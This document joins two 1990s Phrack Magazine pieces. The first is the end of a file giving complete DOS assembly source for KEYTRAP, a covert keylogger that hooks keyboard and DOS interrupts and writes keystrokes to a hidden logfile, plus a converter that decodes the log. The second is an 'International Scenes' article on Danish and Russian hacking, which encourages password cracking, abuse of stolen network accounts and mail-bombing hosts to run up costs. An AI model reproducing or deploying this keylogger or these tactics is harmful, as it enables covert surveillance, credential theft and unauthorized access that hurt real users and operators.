It will log approx 200 keys at a time with a delay of 20 minutes
between each session.
Usage: CONVERT logfile outfile
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logfile: The file that contains the scancodes that Keytrap logged.
outfile: Specify an output file name.
Theres not too much to say here. This program just converts scancodes
from the logfile into their respective keyboard (ASCII) characters.
NOTES
~~~~~
Keytrap will not display ANY messages. Check the logfile and
the size of the logfile if your not sure Keytrap is working.
Keytrap will only make the logfile hidden if the logfile is
actually created by Keytrap or the maximum size of the logfile
is reached or exceeded. If you specify a file that already
exists then Keytrap will not change that files attributes and
will append all scancode data to the end of the file.
Keytrap will not crash if the logfile gets deleted while Keytrap
is in memory. It will just keep looking for the logfile so it can
write its buffer. A buffer write is not forced until the buffer
reaches 400 bytes. It will then try to write its buffer during
the next interrupt 21 call.
-------------------------------------------------------------------------
If you have any questions or need some help, e-mail me.
Below is my public pgp key, don't e-mail me without it !
Dcypher (Dcypher@aol.com)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3
+tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf
B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR
tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+
=w2RN
-----END PGP PUBLIC KEY BLOCK-----
*****************************************************************************
;
;
; KEYTRAP v1.0 - Keyboard Key Logger
; By Dcypher (Dcypher@aol.com)
;
; Usage: KEYTRAP <dir\logfile> /A /B /C
;
; A - Maximum size of log file.
; B - Number of keys to log per session.
; C - Minutes between each session.
;
;------------------------------------------------
;
.286 ; 286 or better
.model small ;
.code ;
org 100h ;
;
begin: jmp install ;
;
;================================================
;
db ' DCYPHER@AOL.COM / KEYTRAP V1.0 ' ; PLEASE DON'T REMOVE
;
buf db 401 dup (0) ; 400 byte buffer
bufptr dw 0 ; +1 for luck :)
;
hide db 0 ; save int21 function call
stimem dw 0 ; grab time when done
handle dw 0 ; logfile handle
control db 0 ; control which INT to use
done_flag db 0 ; session done flag
must_write db 0 ; must-write flag
write_amount dw 0 ; amount written to disk
using_21 db 0 ; already doing an int-21
;
old_9a_off dw 0 ;
old_9a_seg dw 0 ;
;
old_9b_off dw 0 ;
old_9b_seg dw 0 ;
;
old_21_off dw 0 ;
old_21_seg dw 0 ;
;
datasegm dw 0 ; save data-segment
;
delaym dw 0 ; delay, in minutes
mkeys dw 0 ; maximum number of keys
logH dw 0 ; log file size
logL dw 0 ; log file size
;
;==============================================================================
;
int_9A: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; we are here
;
cmp control, 1 ; use this one ?
je A91 ;
call pkey ; process key (scancode)
;
A91: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_9a_off ;
;
;================================================
;
pkey: cmp done_flag, 1 ; completely done ?
je pk2 ;
cmp bufptr, 400 ; buffer limit reached ?
jae pk2 ;
;
in al, 60h ; get scancode
;
cmp al, 39h ; get downstroke and only
ja pk2 ; as far as spacebar
cmp al, 2Ah ;
je pk2 ; no shift
cmp al, 36h ;
je pk2 ; no shift
;
push 0 ;
pop es ;
mov ah, byte ptr es:[417h] ; shift status
test ah, 43h ; test for both shift keys
je pk1 ; and cap-lock active
;
add al, 80h ; show shift or cap-lock
pk1: mov di, bufptr ; in logfile
mov buf[di], al ; place scancode in buffer
inc di ;
mov bufptr, di ;
mov must_write, 1 ; try to write buffer
;
pk2: ret ;
;
;================================================
;
int_9B: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; we are here
;
cmp control, 0 ; use this one ?
je B91 ; (not really needed)
call pkey ; process a key (scancode)
;
B91: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_9b_off ;
;
;==============================================================================
;
int_21: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; here we are
;
cmp ax, 0ffffh ; check if already installed
je D21 ;
;
cmp using_21, 1 ; might need to call an
je C21 ; int-21 here so jump if
mov using_21, 1 ; called from below
mov hide, ah ; save function # for hiding
;
call switch ; always control the int 9's
call timer ; always check restart timer
;
cmp done_flag, 1 ; completely done ?
je B21 ;
cmp must_write, 1 ; need to write ?
jne B21 ;
cmp bufptr, 400 ; push a write when buffer
jae A21 ; is full
;
cmp hide, 3Fh ; disk read
je A21 ; (hide buffer write)
cmp hide, 40h ; disk write
je A21 ;
jmp B21 ; can't hide, try another time
;
A21: call saveb ; write buffer
;
B21: mov using_21, 0 ; no int-21 calls anymore
C21: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_21_off ;
;------------------------------------------------
D21: pop ds ; already installed !
pop es ;
popa ;
popf ;
mov ax, 1 ; show installed
iret ;
;
;==============================================================================
;
timer: cmp done_flag, 0 ; only check time when
je timerb ; session is complete !
;
mov ah, 2Ch ;
int 21h ; what's the time ?
mov al, ch ;
xor ah, ah ;
mov bx, 60 ;
mul bx ; multiply hours by 60
xor ch, ch ;
add ax, cx ; add in the minutes
;
mov bx, stimem ;
cmp ax, bx ; is time now same as
je timerb ; when session was completed
; if so, don't do anything
xor cx, cx ;
timer1: cmp bx, 1440 ; midnight then back to 0
jb timer2 ;
xor bx, bx ;
timer2: inc cx ; minutes counter
inc bx ;
cmp ax, bx ; count until time now
jne timer1 ;
;
cmp cx, delaym ;
jb timerb ; should we reset ?
;
mov done_flag, 0 ; reset / next session
timerb: ret ;
;
;------------------------------------------------
;
switch: mov ax, 3509h ;
int 21h ;
cmp bx, offset int_9A ; everything ok with 9A ?
jne sw1 ; check offset
mov control, 0 ; show who has control
ret ;
;
sw1: cmp control, 1 ; 9B already in use ?
je sw2 ; yes, don't do anything
mov ax, 3509h ;
int 21h ;
mov old_9b_seg, es ;
mov old_9b_off, bx ;
mov ax, 2509h ;
lea dx, int_9B ;
int 21h ; use 9B instead of 9A !
mov control, 1 ; show who has control
sw2: ret ;
;
;------------------------------------------------
;
saveb: mov ax, 3d01h ;
mov dx, 82h ;
int 21h ; open logfile, r/w
jc probw ;
mov handle, ax ;
mov bx, ax ;
mov ax, 4202h ;
xor cx, cx ;
xor dx, dx ;
int 21h ; point to eof
jc probw ;
mov ah, 40h ;
mov bx, handle ;
mov cx, bufptr ;
lea dx, buf ;
int 21h ; write buffer
jc probw ;
mov ah, 3Eh ;
mov bx, handle ;
int 21h ; close logfile
jc probw ;
;------------------------------------------------
mov cx, bufptr ; no problems writing
add write_amount, cx ; so add to written amount
;
mov cx, mkeys ; check number of keys logged
cmp write_amount, cx ; all done ?
jb donew ;
;
mov done_flag, 1 ; show session complete
mov write_amount, 0 ; written amount to 0
call gtime ; grab stop time [minutes]
;
donew: mov must_write, 0 ; no need to write anymore
mov bufptr, 0 ; buffer pointer back to 0
probw: ret ; try again another time
; (if problem writing)
;------------------------------------------------
;
gtime: mov ah, 2Ch ; DONE
int 21h ; grab time in minutes
mov al, ch ;
xor ah, ah ;
mov bx, 60 ;
mul bx ; multiply hours by 60
xor ch, ch ;
add ax, cx ; add in the minutes
mov stimem, ax ; start time in minutes
ret ;
;
;==============================================================================
;==============================================================================
;
install:mov bx, 80h ;
cmp byte ptr [bx], 0 ; any parameters ?
je bye ;
;
mov ax, 0ffffh ;
int 21h ; already installed ?
cmp ax, 1 ;
je bye ;
;
call conv ; convert command line numbers
jc bye ;
call clog ; check or create logfile
;
mov ax, 3509h ;
int 21h ;
mov old_9a_off, bx ; save old int 9
mov old_9a_seg, es ;
mov ah, 25h ;
lea dx, int_9A ;
int 21h ; hook only 9A to start
;
mov ax, 3521h ;
int 21h ;
mov old_21_off, bx ; save old int 21
mov old_21_seg, es ;
mov ah, 25h ;
lea dx, int_21 ;
int 21h ; point to new int 21
;
mov datasegm, ds ; save this data segment area
; for later use in the ISR's
mov bx, offset install ;
mov ax, 3100h ;
mov dx, bx ;
mov cl, 04h ;
shr dx, cl ;
inc dx ;
int 21h ; end / save above install
;
bye: mov ah, 4Ch ; no installation
int 21h ; just end
;
;==============================================================================
;
conv: push ds ; convert command line options
pop es ;
mov di, 81h ;
conv1: inc di ;
cmp byte ptr [di], 2fh ; point to first "/"
jnz conv1 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
mov logH, dx ;
mov logL, cx ; save max logfile size
add cx, dx ;
cmp cx, 0 ; make sure not 0
je conv4 ;
;
dec di ;
conv2: inc di ;
cmp byte ptr [di], 2fh ; point to second "/"
jnz conv2 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
cmp dx, 0 ; bigger then 65535 ?
ja conv4 ;
mov mkeys, cx ; save key limit
;
dec di ;
conv3: inc di ;
cmp byte ptr [di], 2fh ; point to third "/"
jnz conv3 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
cmp dx, 0 ;
ja conv4 ; bigger then 65535 end
cmp cx, 1440 ;
ja conv4 ; bigger then 1440 end
mov delaym, cx ; save session delay time
clc ; show no problems
ret ;
conv4: stc ; show problem
ret ;
;
;------------------------------------------------
;
mconv: xor cx, cx ; main converter
mov dx, cx ; no comments here, all I
mov ah, ch ; know is that it works ! :)
cld ;
dec di ;
convl: inc di ;
mov al, es:[di] ; convert number at es:[di]
xor al, '0' ;
cmp al, 10 ; carry flag will be set
jae convD ; if theres a problem
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
mov bx, cx ;
mov si, dx ;
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
add cx, bx ;
adc dx, si ;
jc convD ;
add cl, al ;
adc ch, 0 ;
adc dx, 0 ;
jc convD ;
jmp convl ;
convD: ret ;
;
;------------------------------------------------
;
clog: mov bx, 82h ; point to logfile
null1: cmp byte ptr [bx], 20h ; find first space
je null2 ;
inc bx ;
jmp null1 ;
null2: mov byte ptr [bx], 0 ; replace space with 0
;
mov ax, 3D01h ;
mov dx, 82h ;
int 21h ; open the file
jc clog3 ;
mov handle, ax ; good open, save handle
;
mov ax, 4202h ;
mov bx, handle ;
xor cx, cx ;
xor dx, dx ;
int 21h ; mov pointer to eof
;
cmp logH, dx ; check size
ja clog4 ; size ok
cmp logH, dx ;
je clog1 ;
jmp clog2 ; must be below, not ok
clog1: cmp logL, ax ;
ja clog4 ; size ok
;
clog2: mov ax, 4301h ;
mov dx, 82h ;
xor cx, cx ;
int 21h ; change file mode
mov ah, 41h ;
mov dx, 82h ;
int 21h ; delete file
;
clog3: mov ah, 3Ch ; create new
mov cx, 02h ; (hidden)
mov dx, 82h ;
int 21h ;
mov handle, ax ;
;
clog4: mov bx, handle ; close logfile handle
mov ah, 3Eh ;
int 21h ;
ret ;
;
;==============================================================================
end begin
*****************************************************************************
;
;
; CONVERT v1.0 - Keytrap logfile converter
; By Dcypher@aol.com
;
; Usage: CONVERT logfile outfile
;
; logfile - Keytrap's scancode data (logfile)
; outfile - Specify an output file name
;
;
;----------------------------------------
;
.286 ;
.model small ;
.code ;
org 100h ;
;
start: jmp go ;
;
;----------------------------------------
;
inhandle dw 0 ;
inpointH dw 0 ;
inpointL dw 0 ;
loaded dw 0 ;
last db 0 ;
;
outhandle dw 0 ;
outoffset dw 0 ;
;
;----------------------------------------
;
table db 002h, '1' ; scan-code table
db 003h, '2' ;
db 004h, '3' ;
db 005h, '4' ;
db 006h, '5' ;
db 007h, '6' ;
db 008h, '7' ;
db 009h, '8' ;
db 00Ah, '9' ;
db 00Bh, '0' ;
; ;
db 082h, '!' ;
db 083h, '@' ;
db 084h, '#' ;
db 085h, '$' ;
db 086h, '%' ;
db 087h, '^' ;
db 088h, '&' ;
db 089h, '*' ;
db 08Ah, '(' ;
db 08Bh, ')' ;
;----------------------------------------
db 01Eh, 'a' ;
db 030h, 'b' ;
db 02Eh, 'c' ;
db 020h, 'd' ;
db 012h, 'e' ;
db 021h, 'f' ;
db 022h, 'g' ;
db 023h, 'h' ;
db 017h, 'i' ;
db 024h, 'j' ;
db 025h, 'k' ;
db 026h, 'l' ;
db 032h, 'm' ;
db 031h, 'n' ;
db 018h, 'o' ;
db 019h, 'p' ;
db 010h, 'q' ;
db 013h, 'r' ;
db 01Fh, 's' ;
db 014h, 't' ;
db 016h, 'u' ;
db 02Fh, 'v' ;
db 011h, 'w' ;
db 02Dh, 'x' ;
db 015h, 'y' ;
db 02Ch, 'z' ;
; ;
db 09Eh, 'A' ;
db 0B0h, 'B' ;
db 0AEh, 'C' ;
db 0A0h, 'D' ;
db 092h, 'E' ;
db 0A1h, 'F' ;
db 0A2h, 'G' ;
db 0A3h, 'H' ;
db 097h, 'I' ;
db 0A4h, 'J' ;
db 0A5h, 'K' ;
db 0A6h, 'L' ;
db 0B2h, 'M' ;
db 0B1h, 'N' ;
db 098h, 'O' ;
db 099h, 'P' ;
db 090h, 'Q' ;
db 093h, 'R' ;
db 09Fh, 'S' ;
db 094h, 'T' ;
db 096h, 'U' ;
db 0AFh, 'V' ;
db 091h, 'W' ;
db 0ADh, 'X' ;
db 095h, 'Y' ;
db 0ACh, 'Z' ;
;----------------------------------------
db 00Ch, '-' ;
db 08Ch, '_' ;
;
db 00Dh, '=' ;
db 08Dh, '+' ;
;
db 01Ah, '[' ;
db 09Ah, '{' ;
;
db 01Bh, ']' ;
db 09Bh, '}' ;
;
db 027h, ';' ;
db 0A7h, ':' ;
;
db 028h, 027h ; '
db 0A8h, '"' ;
;
db 033h, ',' ;
db 0B3h, '<' ;
;
db 034h, '.' ;
db 0B4h, '>' ;
;
db 035h, '/' ;
db 0B5h, '?' ;
;
db 02Bh, '\' ;
db 0ABh, '|' ;
;
db 037h, '*' ;
db 0B7h, '*' ;
;
db 029h, '`' ;
db 0A9h, '~' ;
;
;----------------------------------------
;
db 039h, 020h ; space
db 0B9h, 020h ; space with shift
;
db 00Eh, 011h ; backspace
db 08Eh, 011h ; backspace with shift
;
db 01Ch, 00Ah ; return
db 09Ch, 00Ah ; return with shift
;
db 0 ; End of Table
;
;==============================================================================
;
fprob: mov ah, 9 ;
lea dx, ferr ;
int 21h ;
jmp bye ;
;
prtuse: mov ah, 9 ;
lea dx, usage ;
int 21h ;
;
bye: mov ah, 4Ch ;
int 21h ;
;
;------------------------------------------------
;
go: mov ah, 9 ;
lea dx, namver ;
int 21h ;
;
mov bx, 80h ;
cmp byte ptr [bx], 0 ;
je prtuse ;
;
call null ;
call check ;
jc fprob ;
;
go1: call ldata ;
call conv ;
call sdata ;
cmp last, 1 ;
jne go1 ;
jmp bye ;
;
;------------------------------------------------
;
null: mov bx, 81h ;
null1: inc bx ;
cmp byte ptr [bx], 20h ;
jnz null1 ;
mov byte ptr [bx], 0 ;
;
mov outoffset, bx ;
inc word ptr [outoffset] ;
;
null2: inc bx ;
cmp byte ptr [bx], 0Dh ;
jnz null2 ;
mov byte ptr [bx], 0 ;
ret ;
;
;------------------------------------------------
;
check: mov ax, 3D00h ;
mov dx, 82h ;
int 21h ;
jc check2 ;
mov bx, ax ;
mov ah, 3Eh ;
int 21h ;
jc check2 ;
;
mov ah, 3Ch ;
xor cx, cx ;
mov dx, outoffset ;
int 21h ;
jc check2 ;
mov bx, ax ;
mov ah, 3Eh ;
int 21h ;
jc check2 ;
;
clc ;
check2: ret ;
;
;------------------------------------------------
;
ldata: mov ax, 3D00h ;
mov dx, 82h ;
int 21h ;
mov inhandle, ax ;
;
mov ax, 4200h ;
mov bx, inhandle ;
mov cx, inpointH ;
mov dx, inpointL ;
int 21h ;
;
mov ah, 3Fh ;
mov bx, inhandle ;
mov cx, 60000 ;
lea dx, eof ;
int 21h ;
mov loaded, ax ;
cmp ax, 60000 ;
je ldata2 ;
mov last, 1 ;
;
ldata2: mov ax, 4201h ;
mov bx, inhandle ;
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov inpointH, dx ;
mov inpointL, ax ;
;
mov ah, 3Eh ;
mov bx, inhandle ;
int 21h ;
ret ;
;
;------------------------------------------------
;
conv: mov cx, loaded ;
lea si, eof ;
;
conv1: lea di, table ;
;
cmp cx, 0 ;
je conv6 ;
;
mov al, byte ptr [si] ;
conv2: mov ah, byte ptr [di] ;
cmp ah, 0 ;
je conv4 ;
cmp ah, al ;
je conv3 ;
add di, 2 ;
jmp conv2 ;
;
conv3: inc di ;
mov al, byte ptr [di] ;
mov byte ptr [si], al ;
dec cx ;
inc si ;
jmp conv1 ;
;
conv4: mov byte ptr [si], 20h ;
dec cx ;
inc si ;
jmp conv1 ;
;
conv6: ret ;
;
;------------------------------------------------
;
sdata: mov ax, 3D02h ;
mov dx, outoffset ;
int 21h ;
mov outhandle, ax ;
;
mov ax, 4202h ;
mov bx, outhandle ;
xor cx, cx ;
xor dx, dx ;
int 21h ;
;
mov ah, 40h ;
mov bx, outhandle ;
mov cx, loaded ;
lea dx, eof ;
int 21h ;
;
mov ah, 3Eh ;
mov bx, outhandle ;
int 21h ;
ret ;
;
;------------------------------------------------------------------------------
namver db 10,13
db 'CONVERT v1.0',10,13
db 'Keytrap logfile converter.',10,13
db 'By Dcypher (Dcypher@aol.com)',10,13
db 10,13,'$'
usage db 'Usage: CONVERT logfile outfile',10,13
db 10,13
db ' logfile - Keytrap',27h,'s scancode data.',10,13
db ' outfile - Specify an output file name.',10,13
db 10,13,'$'
ferr db 'WARNING: Problem with one of the files.',10,13
db 10,13,'$'
;------------------------------------------------------------------------------
eof db 0
end start ==Phrack Magazine==
Volume Five, Issue Forty-Six, File 27 of 28
****************************************************************************
International Scenes
There was once a time when hackers were basically isolated. It was
almost unheard of to run into hackers from countries other than the
United States. Then in the mid 1980's thanks largely to the
existence of chat systems accessible through X.25 networks like
Altger, tchh and QSD, hackers world-wide began to run into each other.
They began to talk, trade information, and learn from each other.
Separate and diverse subcultures began to merge into one collective
scene and has brought us the hacking subculture we know today. A
subculture that knows no borders, one whose denizens share the common goal
of liberating information from its corporate shackles.
With the incredible proliferation of the Internet around the globe, this
group is growing by leaps and bounds. With this in mind, we want to help
further unite the communities in various countries by shedding light
onto the hacking scenes that exist there. If you want to contribute a
file about the hacking scene in your country, please send it to us
at phrack@well.com.
This month we have files about the scenes in Denmark and Russia, updates
from Australia and Argentina, and a scan of Norway's toll-free exchange.
________________________________________________________________________________
The Computer Underground in Denmark
Dear Phrack Readers, what follows is a little about the Danish
computer underground, focusing on the hacking/phreaking scene.
A little introduction:
Even though Denmark itself is little country, with a little over 5 million
citizens, an active computer underground community thrives upon the growing
network links and computer systems which in these days seems to pop up all
over country.
The history of the hacking community in DK is not very old, but since the
first Danish hackers appeared some 5 years ago, there has been increasing
hacking activity, bringing on a history of busts, paranoia and times of war;
but also a history of great friendships, supremacy over the corporate machine,
and a process of learning more about the world we live in. But before we take
a look at the networks, boards and the community itself, let's go back in time,
and find the place where it all started.
The Past:
The first hackers to appear in DK was JubJub Bird and Sprocket, two high
school students which broke into 100's of computers world wide. At that time
there was no H/P scene in DK, no boards, no HP networks and no fellow hackers.
Nevertheless, JubJub's role in the Danish HP history plays a key role. JubJub
got busted early January '90, after being discovered in some of NASA's non
public machinery, and being under surveillance for a period of time. This was
the beginning of what was to become the Danish hacking scene. JubJub and
Sprocket never got a sentence, since the court had absolutely no idea of how
to handle a case like this. The court sat down a period of 2 years, and if
JubJub or Sprocket was caught in hacking within that period they would
get a verdict.
Anyway, after the bust of JubJub and Sprocket, the first stirs of hackers
appeared and began to expand like rings in water. And suddenly we had a growing
happy hacking community. Hackers from all over the country gathered at newly
started 'HPA only boards' which was a rarely seen thing among the sea of WaReZ
boards. One of the coolest boards was Fantasia, the headquarters of MoTIGoL,
which was being run by Netrunner. Fantasia was the largest in Denmark, maybe
even in Scandinavia, and had callers from all over the world. At that time,
nobody was afraid of getting busted, and A LOT of BlueBoxing, X25, and general
hacking on Inet was done. But one day all that changed.
During the winter '91 DIKU (Institute of computer science, Copenhagen
university) was used as a meeting place of hackers. A lot of novice hackers
used the machines to learn about Internet and UNIX in general, skating through
the internet, trading info, chatting at IRC and stuff like that. What nobody
knew was that Jgen Bo Madsen, security expert and high paid consultant
working for UNI*C, was monitoring all traffic from and off DIKU, with evil
intentions of busting! The law enforcement specter was soon to cast its dark
shadow on the whole of the Danish scene.
It all ended one winter afternoon. I remember turning on the TV, not really
paying attention to the news, reading a book or so, when suddenly the news
lady starts speaking about how the secret service is soon to unravel the biggest
hacker conspiracy ever in Denmark, one hacker was already arrested and 10 more
would be arrested in near future. Saron was the one who got busted. He had used
an x25 datapak link, which normally only was used for electronic mail, to
access DIKU, coming in from a German PAD to make tracing harder, but also
making a hell of a big bill for the stolen NUI's owner. Anyway, it came out
that JBM (Jgen Bo Madsen) had traced 76 calls to DIKU, and had monitored the
breakins of computers in Greece, Brazil, Mexico and USA.
At that moment the entire scene more or less panicked. Most dudes moved
their precious machinery out of the house and all boards closed down.
A period of isolation began. The SysOp of Fantasia, Netrunner pulled out his
harddisk hiding it somewhere out of reach, if JBM and his secret service
buddies should show up.
No more busts happened and people calmed down after a month or so. Everybody
knew that things wouldn't be the same after the DIKU incident. Netrunners
harddisk broke down after he had reinstalled it, because all the dirt it
had consumed from 2 years constant running, was too much for the thing to
handle when it was powered back on. So, Fantasia closed and the underground
network PhoenixNet also closed when it came out that JBM had infiltrated
the net. An era was over, and a new was to begin.
The Present:
Today's scene is doing quite good. It has became harder in a way, more
careful and more closed than ever. But still, we have open boards
and a public network. FOOnet which focuses on computer security and is
used as an forum open for discussions. Mostly by hackers and people into
computer security in general, but every once in awhile JBM and Sysadm's
drop by too. Also, the Danish scene is proud to release CrackerJack, made by
Jackal, which we still claim is the fastest UNIX passwd cracker available for
PC. Not that cracking passwd files is a major element in hacking, but its nice
to have a fast cracker every once in awhile :)
The Danish computer underground scene is filled with WaReZ boards,
but only a few real H/P/A boards are running. Boards like Free Speech Inc.
and Freeside are places where the Danish hackers hang out. None of these
boards are public, but JBM is quite aware of them and had once infiltrated
Freeside, even though it was clearly stated that the bbs was private and
no one related to any gov agencies was allowed to use the board. So, JBM
is actually doing what he has accused us for over the years, which is
intruding people's privacy.
Other than FOOnet, there is a few other networks, such as SDC which
once had a good mail flow in the hacking conferences, but today more
is turning into a demo/warez net. A few other truly H/P nets are running
successful with a good mail flow, but those shall remain anonymous in
this article.
The links from the Danish scene to fellow hackers around the world is
very good. Due to numerous nights spent at QSD, connections is established
to a lot of dudes in Brazil which frequently drops by Free Speech Inc. and
Freeside, dudes in UK as well as fellow hackers in US like Alby/Empire.
Okay, this is it. The section about hacking in Denmark. The stuff
that you had to read all the above boring shitty sentimental stuff,
to get to!!
Hacking in Denmark:
The two main networks in DK which is used for hacking and meeting fellow
hackers are, (of course) Internet and the X25 datapak link. Internet is
accessible via all Universities like diku.dk, daimi.aau.dk, auc.dk and so on.
(Nobody uses DIKU anymore though). The university is doing a brave struggle
to keep the hackers out by upgrading to C2 passwd security, meaning that
passwds must be at least 8 chars, contain 1 uppercase and 1 non alphabetic
char.
The upper level of the top 10 of chosen C2 security passwd's goes something
like: q1w2e3r4*, a1s2d3f4*, these do not contain any uppercase chars and
therefore should not have been accepted as a passwd by the system, but
apparently the C2 software finds them secure. Also, a nice thing to do is
taking your wordlist and using Therion's Passwd Utility, TPU which is a word
list manipulator, and add a 1* to all words in the list and uppercase the first
letter. Gives a lot of accounts.
Another popular thing, in order to keep hackers out, is to setup a so-called
'modem security password' on all dialups. So when you call up the system,
before you ever get to the server you have to enter a password. And if you get
through, not all accounts are cleared to use the modem dialup facilities,
and unless you've got your sleazy hands on a cleared account, you get the boot.
Even though the universities puts such a great effort into keeping
hackers out, they aren't doing very good. In fact, they are doing real
bad. A legit account costs appr. 1900 dkr, which is about a little over
300$ US., which goes into the pockets of UNI*C, so its no wonder that
we like to use the nice free facilities present at the universities.
Other ways to get on Internet, are via other machines under the ministry
of education and certain private and government systems. It's surprising
how many bugs (that we all know of) in certain UNIX versions, that still
have not been patched, and therefore leave the systems wide open.
This goes not only for Denmark, but generally throughout machines on Internet
in Europe. Also, a well known phenomena in DK throughout the sector of
private corporation computer systems, is lousy security. Elementary
stuff like bad file permissions, left over suid shell scripts, and
open guest accounts are everywhere.
Regarding the X25 datapak links. The official Danish PAD can be
reached at dialup 171. This is totally free number just like 80xxxxxx
are, which doesn't affect your phone bill. Keep in mind that all calls made in
DK are billed, even local calls within same city are charged, and charged
high! I remember a time when I was kind of addicted to a certain MUD. For one
month alone I got a bill on 1800 dkr, appr. 300 US$! So, the 171 X25 link is
nice thing, since all calls are billed to the owner of the Network User Id
(NUI) and NOT on your phone bill.
However, X25 can be a dangerous thing to use. Especially if you only
have a single NUI to use. The phone company is having some trouble tracing
the 171, but all calls made in DK on digital lines are logged. So, when
some corporation gets a bill on, say 2-3000$ or an amount much higher
than usual, the phone company can compare the logs on who dialed 171,
to the X25 logs, on which date and time the NUI in question was abused,
and figure out who abused the NUI. On analog lines the logging is
harder to do, and only goes back a month or so. The format of the NUIs
consist of a user number and a password. The first char indicates
either a K or J, depending on the NUI's owner, either located under KTAS
or JTAS districts. Jutland is covered by JTAS and Copenhagen Sjlland,
by KTAS. Then follows 7 or 8 numbers and usually a word of 7-8 chars. Like,
K0100872DKDIANEC, this is a valid NUI open for public use by everybody,
but its restricted to only to connect to a specific system. Sum lame
menu database thing. Most NUI's allows access to most computers, world
wide on the X25 network, by an NUA (network User Address). The most use
of X25 is to gain free access to Internet by connecting to a PAD which
allows telnet. Most of the telnet PAD's has been closed recently because
of an increasing (ab)use. However, there is still sites like isosun-t.
ariadne.gr which carries an X25 PAD, and because the sysadm there comes off
like a dick and is a jerk I'll give u all his NUA. Its 020233181282010. Also,
check out gw.sdbs.dk, carries a 9k6 x25 link as well as normal Inet axx.
A few people to mention, who either has or is playing an important
part of the Danish hacking community:
JubJub Bird, Sprocket, Saron, Ravan, Netrunner / Sense/NET, Descore, WedLock,
Le Cerveau, Parrot-Ice, Jackal, Temp, Therion, and myself I guess... :)
If u like, check out:
Free Speech Inc. (+45) 4 582 5565 SysOp: NiteCrawler
Freeside (+45) 3 122 3119 -"- : Descore (Off. CJ Dist. site.)
This is it. Hope u enjoyed this little file. We are always happy to
meet foreign hackers, so call one of the above boards and lets exchange
accou.. ehh... intercultural hacking research information :)
-----------------------------------------------------------------------------
Why would you or why wouldn't you want
to hack in the ex-USSR or in other words
what the hell do we do up here.
By Digital Empiror and Stupid Fucker
Russia is a great country, with absolutely no laws against hacking or
phreaking, both are very easy to do and get away with. It's for that
reason, that most of the famous online services like CompuServe and Delphi
closed registrations coming out of the biggest country in the world via
SprintNet, (you guys think we still can't get in? ... take that as a hint).
If some great telephone company installed a payphone that can charge calls
onto a credit card (very rare in this country) then we can use it as well,
credit card numbers are not hard to compile, especially if you know that
it is not really illegal. What about those great cellular telephones, you
know, we love to use those for free, (can't you guys get it? we know that
we are pain in the ass, but LIVE WITH IT!).
Most of our switchboards in Russia are very ancient, screwed up
relay-analog switches, they don't have methods for protocol-ing
telephone calls and present undependable methods for identifying telephone
numbers. Also there is special equipment which allows making it impossible
to detect your phone number, or even making detection equipment mistake your
phone number. Interstate switchboards have to have special methods of
detecting your phone number, which are of course only accessible to
Interstate switchboards and not to the rest of commercial companies. There
was a case once were SprintNet caught one of our great hackers, but he had
sent them to his great grandfather's (wanna try doing that with the
FBI?) because as he said 'You can't really be sure that it was really ME
calling since in this country you can't rely on your number detection
equipment...'
Another great thing is how the networks are set up in Russia. The greatest
and the biggest X.25 network is of course SprintNet (for which they have to
pay of course, if not them then somebody else...), it's a little slow here,
but that's OK. The administrators who set up the PADs are very lame and
stupid, and of course can't set up their PADs like SprintNet would want
them to. They can, for example, they were setting up their PAD so, that it
would let you connect with virtually ANY system without asking for a NUI,
and even when they detected, that hackers do it, they couldn't do anything
besides changing their PAD instead of just changing one register!
Besides that, their is no problem with finding a NUI for Russian X.25
networks, most of them don't support collect calls like SprintNet, so most
Russian services that would like their customers to access their service
via X.25 give the users a unique NUI, that specifies that they can only
access THIS service, but they usually forget to set it up right so the
stupid customers like another of our great hackers, will instead of getting
charged for the service, go to an outdial and call his favorite BBS in
Clearwater, FL for an example (do they have boards there?). I don't know
if you like to access CitiBank machines from SprintNet, but we love to do
stuff like that. For example, recently we found a lone standing computer,
I don't think the guys in CitiBank really understood what they were doing
when they left their modem setup option on that machine without a password,
it was a pleasure to change their modem strings knowing that it's absolutely
legal to do so and nobody has even a right to call about it! Also there
are Internet providers in Russia, only two, from which only one is
interesting - RELCOM! Most of Internet in Russia is done via UUCP and
costs a bundle of money, so if I am in a bad mood, I'll drop 10-20 megs of
mail into an address that doesn't exist, and will laugh and you know why?
In RELCOM, everybody pays the central router - KIAE.SU, so if you send megs
of stuff, it will go through a lot of systems that will have to pay first
each other then to KIAE.SU, but there will be THE last system, that will
say 'ya know? there is no such address!', so then the trouble will start.
So if you are in a bad mood, then please, do us a favor, drop a gig or 2 to
machine that does not have an IP address, better for it to go via a few of
those machines, for example, to be original:
kaija.spb.su!arcom.spb.su!<any machine in USA>!kiae.su!kaija.spb.su!root
I am sure if you have NSLOOKUP, you can be original and make your best
route via a dozen systems. When doing it, you can be sure, that it will
call a lot of arguments from every one of that dozen concerning to who will
pay for that gig (1mb of mail in Russia costs $50 - $150, that enough money
for poor Russian Internet hosts).
It's all really great, but we are all on our own, and are not organized into a
group. There are not many of us and we are not known by any of our western
colleagues, to contact us, mail us at:
an58736@anon.penet.fi
-----------------------------------------------------------------------------
PhreeFone Numbers in Norway
Research and Norwegian Edition by
cyber aktiF (01-Feb-94)
English Translation by Codex/DBA (26-Apr-1994)
-----------------------------------------------------------------------------
DISCLAIMER: The author of this document takes no responsibility as to how
